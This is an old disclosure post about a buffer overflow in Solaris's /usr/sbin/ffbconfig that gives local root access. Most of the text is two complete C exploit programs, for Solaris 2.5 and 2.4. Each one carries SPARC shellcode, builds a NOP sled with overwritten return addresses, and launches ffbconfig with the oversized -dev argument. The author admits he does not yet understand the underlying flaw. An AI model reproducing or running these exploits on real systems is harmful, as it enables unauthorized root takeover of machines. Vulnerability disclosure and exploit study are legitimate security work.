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- "Buffer Overflow" rules.
-
- I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you
- to gain root access on your machine. I used an exploit written by Jeremy Elson
- for gethostbyname() buffer overflow hole (I modified some values to make this
- work).
-
- I dont now yet what in ffbconfig is wrong but Im still diging. So more
- detailes later.
-
- Here's the exploit for Solaris 2.X:
-
-
- ---------------------------------- first -------------------------------------
- /*
- This works on Solaris 2.5 wiz /usr/sbin/ffbconfig
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define BUF_LENGTH 128
- #define EXTRA 256
- #define STACK_OFFSET 128
- #define SPARC_NOP 0xa61cc013
-
- u_char sparc_shellcode[] =
- "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
- "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
- "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
- "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
- "\x82\x10\x20\x3b\x91\xd4\xff\xff";
-
- u_long get_sp(void)
- {
- __asm__("mov %sp,%i0 \n");
- }
-
- void main(int argc, char *argv[])
- {
- char buf[BUF_LENGTH + EXTRA];
- long targ_addr;
- u_long *long_p;
- u_char *char_p;
- int i, code_length = strlen(sparc_shellcode),so;
-
- long_p = (u_long *) buf;
-
- for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
- *long_p++ = SPARC_NOP;
-
- char_p = (u_char *) long_p;
-
- for (i = 0; i < code_length; i++)
- *char_p++ = sparc_shellcode[i];
-
- long_p = (u_long *) char_p;
-
- targ_addr = get_sp() - STACK_OFFSET;
- for (i = 0; i < EXTRA / sizeof(u_long); i++)
- *long_p++ =targ_addr;
-
- printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
- targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
-
- execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
- perror("execl failed");
- }
-
- ------------------------ end of "ffbcexp25.c" --------------------------------
-
- -------------------------------- second --------------------------------------
-
- /*
- This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5
- */
-
-
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define BUF_LENGTH 128
- #define EXTRA 256
- #define STACK_OFFSET 128
- #define SPARC_NOP 0xa61cc013
-
- u_char sparc_shellcode[] =
- "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
- "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
- "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
- "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
- "\x91\xd0\x20\x08"
- ;
-
-
- u_long get_sp(void)
- {
- __asm__("mov %sp,%i0 \n");
- }
-
- void main(int argc, char *argv[])
- {
- char buf[BUF_LENGTH + EXTRA];
- long targ_addr;
- u_long *long_p;
- u_char *char_p;
- int i, code_length = strlen(sparc_shellcode),so;
-
- long_p = (u_long *) buf;
-
- for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
- *long_p++ = SPARC_NOP;
-
- char_p = (u_char *) long_p;
-
- for (i = 0; i < code_length; i++)
- *char_p++ = sparc_shellcode[i];
-
- long_p = (u_long *) char_p;
- targ_addr = get_sp() - STACK_OFFSET;
- for (i = 0; i < EXTRA / sizeof(u_long); i++)
- *long_p++ =targ_addr;
-
- printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
- targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
-
- execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0);
- perror("execl failed");
- }
-
- ------------------------------ end of ffbcexp24.c -----------------------------
-
- Cristian Schipor - Computer Science Faculty - Romania - Bucharest
- Email: skipo@math.pub.ro or skipo@ns.ima.ro
- Phone: (401) 410.60.88
-
-
- PS: "special for STFP"
-